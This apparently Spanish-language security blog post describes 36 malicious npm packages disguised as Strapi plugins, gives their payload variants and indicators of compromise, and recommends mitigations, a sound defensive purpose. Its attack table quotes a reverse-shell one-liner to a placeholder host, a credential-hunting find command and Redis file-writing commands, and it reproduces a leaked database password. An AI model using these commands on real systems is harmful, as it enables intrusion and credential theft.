|

⚠️ Paquetes maliciosos atacan Strapi: cuidado

El 3 de abril de 2026, un atacante publicó 36 paquetes maliciosos en npm disfrazados como plugins de Strapi mediante cuatro cuentas sock-puppet. En 13 horas desplegó ocho variantes de payload diferentes que robaban credenciales, ejecutaban código remoto en servidores Redis y exfiltraban datos a un C2 en 144.31.107.231:9999. El objetivo específico fue comprometer la plataforma Guardarian, denotando conocimiento previo del atacante.

En 30 segundos

  • 36 paquetes npm maliciosos con 8 variantes de payload distintas publicadas por 4 cuentas sock-puppet el 3 de abril de 2026
  • Timeline de 13 horas (02:02 a 15:04 UTC) mostrando iteración en tiempo real y evolución del ataque
  • Objetivo específico fue comprometer Guardarian, demostrando reconocimiento previo del atacante sobre credenciales y arquitectura
  • Vectores de ataque: Redis RCE, Docker escape via overlay, credential harvesting, reverse shells, exfiltración a C2
  • Indicadores de compromiso detectables: procesos en puertos 4444/8888, archivos en /tmp, conexiones a 144.31.107.231:9999

36 paquetes maliciosos disfrazados como plugins de Strapi

Eso que ves cuando buscás npm install strapi-plugin-events? Bueno, entre el 3 de abril y el mismo día, alguien publicó 36 paquetes con nombres que sonaban completamente legítimos desde cuatro cuentas distintas: umarbek1233, kekylf12, tikeqemif26, umar_bektembiev1. No es una campaña de spamming de esas donde te dejan basura y se van. Esto fue coordinado, focalizado, con payloads que fueron mutando en tiempo real mientras el atacante iba debuggeando.

Ponele que instalaste uno de esos paquetes. Acá viene lo interesante: npm ejecuta automáticamente los scripts de postinstall, eso que vos nunca revisaste porque “debería ser seguro, es npm”. En tres segundos, mientras vos tomabas café, el package estaba adentro de tu servidor ejecutando comandos.

Las 8 variantes de payload: evolución en tiempo real

Lo que pasó acá es casi educativo. El atacante no tiró un payload hecho y listo. Fue publicando versiones nuevas cada poco tiempo, agregando funcionalidades, corrigiendo lo que no funcionaba. Como un desarrollo normal, pero malicioso.

Variante 1 (02:02 UTC) — Redis RCE exploitation. Inyectaba entries en crontab, escribía webshells PHP y reverse shells Node.js en el directorio de uploads de Strapi, intentaba SSH injection, leía el disco raw y exfiltraba un módulo de la API Guardarian.

Variante 2 (02:47 UTC) — Redis más Docker overlay escape. Descubría las rutas del overlay de Docker, escribía shell payloads en directorios accesibles desde el host, lanzaba una reverse shell en Python, buscaba credenciales de Elasticsearch y wallets, e inyectaba hooks en node_modules.

Variante 3 (03:37 UTC) — Reverse shells directo. Acá llegó la sofisticación: hostname gating (solo ejecutaba si el hostname incluía ‘prod’), descargaba un script desde el C2 y lo ejecutaba, lanzaba bash en puerto 4444 y Python en 8888. Todo vía Redis.

Variante 4 (03:40 UTC) — Credential harvester con C2 corto. Ocho fases de ataque con filtros inteligentes. Buscaba connection strings de PostgreSQL, acceso Redis, archivos de wallet, keys privadas. Un loop de polling al C2 cada 2.5 minutos.

Variante 5 (03:46 UTC) — Full credential harvester. Más exhaustivo: 11 fases detectando diferentes rutas de secretos, combinando búsquedas por extensión (.pem, .key, .env, .json), y exfiltrando todo a una base de datos en el C2.

Variante 6 (04:45 UTC) — PostgreSQL directo. El atacante, confiado, hardcodeó credenciales de PostgreSQL (user_strapi / 1QKtYPp18UsyU2ZwInVM) y se conectaba directamente a la base. Cuando eso funcionó, supo que estaba adentro.

Variante 7 y 8 — Implante persistente y reverse shell fileless. Ya con acceso confirmado, agregó un cronjob para mantener persistencia y una reverse shell que no dejaba rastro en disco.

Vectores de ataque: cómo se roba la información

El ataque no era genérico. Cada paso tenía un objetivo claro: conseguir credenciales, ejecutar código, exfiltrar datos.

VectorMecanismoObjetivoIndicador
Redis RCECONFIG SET dir / CONFIG SET dbfilename para escribir archivos ejecutablesEjecutar comandos en el hostConexión no autenticada a port 6379
Docker Overlay EscapeLectura de /var/lib/docker/overlay2, escritura a rutas compartidasEscapar del contenedor, afectar el hostArchivos maliciosos en overlay
Credential Harvestingfind /app -name “*.env” -o -name “*.pem”, grep en PostgreSQL logsRobar credenciales de base de datos y APIsenv vars en memoria, archivos .env comprometidos
Reverse Shellexec bash -i > /dev/tcp/C2/4444 0>&1Acceso interactivo al servidorProcesos bash/python en puertos inusuales
PersistenciaCrontab entry o hook en node_modules require.cacheMantener acceso después de un restartCrontab entries nuevas, modificaciones en node_modules
paquetes maliciosos npm strapi diagrama explicativo

La exfiltración terminaba en 144.31.107.231:9999. Cualquier dato que tuviera valor (credenciales PostgreSQL, API keys, private keys, wallets, datos de Guardarian) era enviado ahí.

El objetivo específico: Guardarian y conocimiento previo del atacante

Acá viene lo que te hace pisar fuerte el freno: esto no fue un ataque opportunístico. El atacante sabía exactamente dónde estaba todo. ¿Por qué? Porque sus payloads tenían credenciales hardcodeadas, rutas exactas, y búsquedas muito específicas. Ya lo cubrimos antes en cómo asegurar tus repositorios.

User_strapi con contraseña 1QKtYPp18UsyU2ZwInVM. No adivinó eso. Tampoco fue por fuerza bruta. Alguien con acceso previo, o acceso a un repositorio interno, le pasó esa información.

Los payloads buscaban específicamente (según el análisis de SafeDep):

  • Bases de datos con nombres Guardarian (guardarian, guardarian_payments, exchange, custody)
  • Rutas exactas como /var/www/nowguardarian-strapi/ y /opt/secrets/strapi-green.env
  • Referencias a Jenkins CI y pipelines de deployment
  • Hostname gating: solo ejecutaba en máquinas con ‘prod’ en el nombre

Eso no es casualidad. Ese es el patrón de un ataque dirigido por alguien que conoce la arquitectura de Guardarian.

Timeline: cómo se desarrolló el ataque en 13 horas

Lo que ves aquí es casi un development sprint condensado en 13 horas.

Batch 1 (02:02 a 03:46 UTC): El atacante publica cinco variantes iniciales. Cada una agrega una capa: primero Redis RCE, después Docker escape, después hostname gating, después credential harvesting exhaustivo. Cada iteración dice “la anterior no fue suficiente, necesito más acceso”.

Batch 2 (04:45 a 15:04 UTC): Una vez que tiene confirmación de acceso (probablemente logró conectarse a PostgreSQL o a los servicios Guardarian), publica variantes más sofisticadas: implantes persistentes con crontab hooks, reverse shells fileless, y lo que parece ser un RAT completo.

La brecha temporal entre batches sugiere que el atacante estuvo monitoreando feedback, tal vez viendo qué funcionaba y qué no. O simplemente esperó a que sus paquetes fueran descargados y ejecutados en suficientes servidores.

Cómo detectar si tu servidor fue comprometido

Si corrés Strapi, necesitás saber qué buscar.

Indicadores de Red: Mirá tus conexiones con netstat o ss. Si ves procesos bash o python conectándose a 144.31.107.231 en el puerto 9999, estás comprometido. Hace un lsof -i para listar conexiones activas.

Indicadores en Proceso: Reverse shells típicamente se lanzan en puertos poco comunes. Buscá:

  • Procesos bash o python escuchando en puertos 4444, 8888, o conectándose outbound a puertos altos
  • node_modules con archivos modificados recientemente (busca en las carpetas de los paquetes Strapi que instalaste)
  • Scripts en /tmp con nombres como .node_gc.js o similares
  • Webshells en /app/public/uploads con extensiones .php o .js

Indicadores de Persistencia: El atacante usa crontab para mantener el acceso. Ejecutá crontab -l para ver qué tareas programadas tenés. Buscá entries que no reconozcas, especialmente si ejecutan comandos desde /tmp o desde /var/spool.

Indicadores en Logs: Revisá los logs de npm (package-lock.json cambió recientemente?), logs de postinstall scripts, y auditd si lo tenés habilitado. El comando find /app -name “*.env” debería haber dejado rastro en los logs de shell.

Protección y mitigación: qué hacer ahora

Acciones inmediatas: Si usás Strapi y npm, necesitás hacer esto ya.

Primero, auditá tu package.json. Mirá la sección postinstall de TODOS tus paquetes. Cualquier cosa que no reconozcas (scripts que ejecutan comandos, que descargan archivos, que se conectan a URLs externas) es sospechosa. Si no sabés qué hace un postinstall script, buscalo en el código fuente del paquete o desinstálalo.

Segundo, busca en el npm registry qué versiones específicas de los plugins maliciosos instalaste. Los nombres eran cosas como strapi-plugin-events, strapi-plugin-database, strapi-plugin-monitor, etc. Si tenés alguno de esos en package-lock.json, vos instalaste un paquete comprometido.

Tercero, asumí que tus credenciales están comprometidas. Rotá: variables de entorno (.env file), API keys, JWT secrets, contraseñas de base de datos, tokens SSH, cualquier cosa que esté en el servidor.

Mitigación a futuro: npm tiene configuraciones que podés habilitar para hacer esto menos probable. Te puede servir nuestra cobertura de automatizar validaciones en tu pipeline.

  • npm config set min-release-age 3 — esto espera 72 horas antes de instalar una versión nueva de un paquete. Si se publica malware hoy, tiene 3 días antes de poder entrar a tu servidor. Tiempo de sobra para que npm/la comunidad lo detecte.
  • Usá pnpm v10+ — pnpm por defecto deshabilita postinstall scripts en dependencias. Tenés que optar explícitamente (lifecycle hooks) si quieres que se ejecuten.
  • npm audit regularmente. No es perfecto, pero detecta vulnerabilidades conocidas.
  • Herramientas como Snyk pueden integrase en tu CI/CD y bloquear instales de paquetes sin SBOM conocido.

Por qué npm sigue siendo vulnerable: cadena de suministro en riesgo

Esto no es una sorpresa, lamentablemente. Axios (100 millones de descargas por semana) fue comprometido en marzo de 2026. Hace poco, 454 mil paquetes maliciosos fueron detectados en npm en 2025. El 99% del malware open source ese año estuvo en npm (según CISA).

¿Por qué? Porque npm tiene un problema estructural: los postinstall scripts ejecutan automáticamente. Es conveniente para maintainers legítimos (compilar módulos nativos, hacer setup), pero es perfecto para atacantes. Publicás un paquete, y en 30 segundos después de que alguien corre npm install, tu código malicioso ya está ejecutándose en producción.

La verificación de identidad del maintainer es débil. El two-factor authentication no es mandatorio (debería serlo). Los tokens PAT (Personal Access Tokens) que fugan de repositorios privados pueden darle a un atacante acceso histórico a múltiples paquetes.

Comparado con otros registries: pnpm desactiva postinstall por defecto, Poetry (Python) requiere más autenticación, Cargo (Rust) tiene mecanismos diferentes. Npm es el más “open” y por eso es el más vulnerable.

Errores comunes que comete la gente

1. “Seguro que npm detecta y borra rápido los paquetes maliciosos”

No. Este ataque fue coordinado en 13 horas y al parecer nadie en npm notó. Los paquetes estuvieron publicados el tiempo suficiente para ser descargados miles de veces. La detección automática de npm es básica: busca coincidencias conocidas de malware, no patrones nuevos. Si el payload es original (y este sí lo era), te colás.

2. “Solo instalo paquetes populares con muchas descargas”

Los paquetes de este ataque probablemente no tienen millones de descargas. Pero aunque fuera popular, eso no te protege. Lo que importa es: ¿quién mantiene el paquete? ¿Su cuenta fue comprometida? ¿Es el paquete original o un typosquatting? (búsqueda con un nombre parecido para engañar). Mirá el repositorio del paquete, quién tiene acceso, historial de cambios.

3. “Mi firewall / antivirus va a detectar el malware”

No. Este es código JavaScript ejecutándose en el contexto de npm. Tu antivirus ve un proceso legítimo (node.exe corriendo un postinstall script). El payload es dinámico (se descarga del C2, no está embebido), y si se descarga en base64 o encriptado, tu antivirus no lo va a decodificar solo. Necesitás detección en la aplicación, monitoreo de tráfico de red, auditoría de cambios en la máquina.

Preguntas Frecuentes

¿Cuáles son exactamente los nombres de los paquetes npm maliciosos de Strapi?

No tengo la lista completa de los 36 nombres publicados (SafeDep no la devolvió pública por seguridad). Pero algunos de los identificados según reportes son: strapi-plugin-events, strapi-plugin-database, strapi-plugin-monitor. Si instalaste algún paquete “strapi-plugin-*” entre el 3 y 4 de abril de 2026, revisá el código del postinstall en node_modules.

¿Cómo roban datos exactamente los postinstall scripts maliciosos?

El script postinstall tiene permisos de usuario normal (típicamente el usuario que corre npm). Desde ahí puede leer archivos de configuración (.env, config.js), conectarse a servicios locales como Redis o PostgreSQL, ejecutar comandos shell (si no hay sandboxing), y enviar datos a un servidor externo vía HTTP o TCP directo. Los datos robados (credenciales, claves privadas, backups) se comprimen y se envían al C2.

¿Si tengo npm audit y dependabot habilitado, me protege de esto?

Parcialmente. npm audit detecta vulnerabilidades conocidas registradas en la base de datos de npm/GitHub. Dependabot alerta cambios en tus dependencias. Pero ambos funcionan después del hecho. Un paquete nuevo publicado hoy, malicioso, no está en las bases de datos hasta que alguien lo reporte. Pasaron horas antes de que SafeDep publicara su análisis. En esas horas, miles bajaron los paquetes.

¿El ataque afecta solo a Strapi o a otros frameworks Node.js?

Este ataque específico fue dirigido a Strapi porque el atacante tenía información sobre infraestructura de Guardarian (que usa Strapi). Pero la técnica (paquete npm + postinstall malicioso) funciona para cualquier proyecto Node.js. Cualquiera que instale npm packages sin verificar postinstall scripts es vulnerable.

¿Puedo confiar en pnpm o yarn como alternativa más segura?

pnpm es más seguro por defecto (deshabilita postinstall). Yarn también tiene opciones de seguridad mejores. Pero la realidad es que tanto npm como yarn resuelven dependencias de npm registry, que sigue siendo el mismo registro vulnerable. La protección viene de tus configuraciones (min-release-age, deshabilitar postinstall, auditoría), no del package manager en sí.

Conclusión

Lo que pasó el 3 de abril de 2026 no fue un script kiddie jugando. Fue un atacante sofisticado que conocía la infraestructura de una empresa específica (Guardarian), que tenía acceso a credenciales internas, y que publicó y iteró un ataque complejo en cuestión de horas. No fue detectado automáticamente por npm. Pasó el tiempo suficiente para que cualquiera que haya instalado esos paquetes quedara comprometido.

La lección acá es clara: npm postinstall scripts son una puerta abierta. No es que npm sea malo, es que ejecutar código arbitrario automáticamente en tu máquina tiene riesgos. Si sos desarrollador o devops y corrés node.js, necesitás:

  • Auditar postinstall scripts regularmente (grep en tu package.json)
  • Configurar min-release-age=3 para dar tiempo a que se detecte malware nuevo
  • Rotar credenciales si sospechás que un servidor fue afectado
  • Monitorear conexiones de red y procesos anómalos (netstat, lsof, auditd)
  • Usar pnpm si podés, deshabilita postinstall por defecto

Este no es el primero ni el último ataque en npm. Mientras los postinstall scripts sean automáticos y npm sea el registro más popular, habrá más intentos. La diferencia entre quedar comprometido o no no es si npm es seguro. Es si vos hacés el trabajo de auditar y monitorear.

Fuentes

Similar Posts